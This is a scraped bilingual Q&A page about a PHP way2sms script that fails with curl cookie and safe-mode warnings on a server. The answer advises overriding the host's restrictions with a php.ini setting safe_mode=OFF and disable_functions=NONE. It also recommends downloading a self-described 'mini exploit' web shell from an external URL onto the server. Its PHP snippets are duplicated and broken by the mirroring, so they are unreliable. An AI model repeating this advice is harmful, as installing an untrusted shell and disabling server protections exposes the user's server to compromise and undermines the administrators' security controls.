无法访问php中的cookie_way2sms [英] Unable to access cookie_way2sms in php

查看:86
本文介绍了无法访问php中的cookie_way2sms的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

sendWay2SMS('mob_number', 'way2sms_password', sender_number, msg)





在localhost上运行php.ini中的基本设置

但是在服务器上遇到类似问题的问题



work at localhost on basic setting in php.ini
but on server it encounters problem like

Warning: curl_setopt() [function.curl-setopt]: Unable to access cookie_way2sms in way2sms-api.php on line 32

Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in way2sms-api.php on line 33





plz帮助它紧急..



plz help its urgent..

推荐答案

那个是因为安全模式。在安全模式下,大多数PHP函数都将被禁用。



另外试试这个PHP代码tp find是否安全模式开启,



That is because of safe-mode on. In safe-mode on condition most of PHP functions will be disabled.

Also try this PHP code tp find is safe mode is on or not,


safemode = @ ini_get(' safe_mode');
echo
safemode=@ini_get('safe_mode'); echo


safemode ;
?>
safemode; ?>





在服务器中查找已禁用的功能这段代码,





Find Disabled functions in server using this code,

if(!@ini_get('disable_functions'))
{
    echo "None";
}
else
{
    echo @ini_get('disable_functions');
}
?>





试试这个PHP.INI代码...在保存此文件的同一个目录中保存为php.ini.





Try this PHP.INI code... Save this as php.ini in same direcory that saved this file.

safe_mode=OFF
disable_functions=NONE





现在再次检查已禁用的功能...已禁用的功能不是''无''eventhogh you创建php.ini请求服务器管理员在您使用时关闭安全模式...



将此应用程序下载到您的服务器并与安全相关的事情http://indrajith-mini-shell-project.googlecode.com/files/indrajith.v.2 .php [ ^ ]这是一个由我编码的迷你攻击...你需要更改用户名,密码和发送电子邮件以禁止未经授权的使用...希望它能为您提供帮助。



Now check the disabled functions once more... Disabled functions is not ''None'' eventhogh you created php.ini request the server administrator to switch off safe mode on your use...

Download this application to your server and security related things http://indrajith-mini-shell-project.googlecode.com/files/indrajith.v.2.php[^] It is a mini exploit coded by me... You need to change username, password & email to prohibit unauthorised use... Hope it will help you.


这篇关于无法访问php中的cookie_way2sms的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆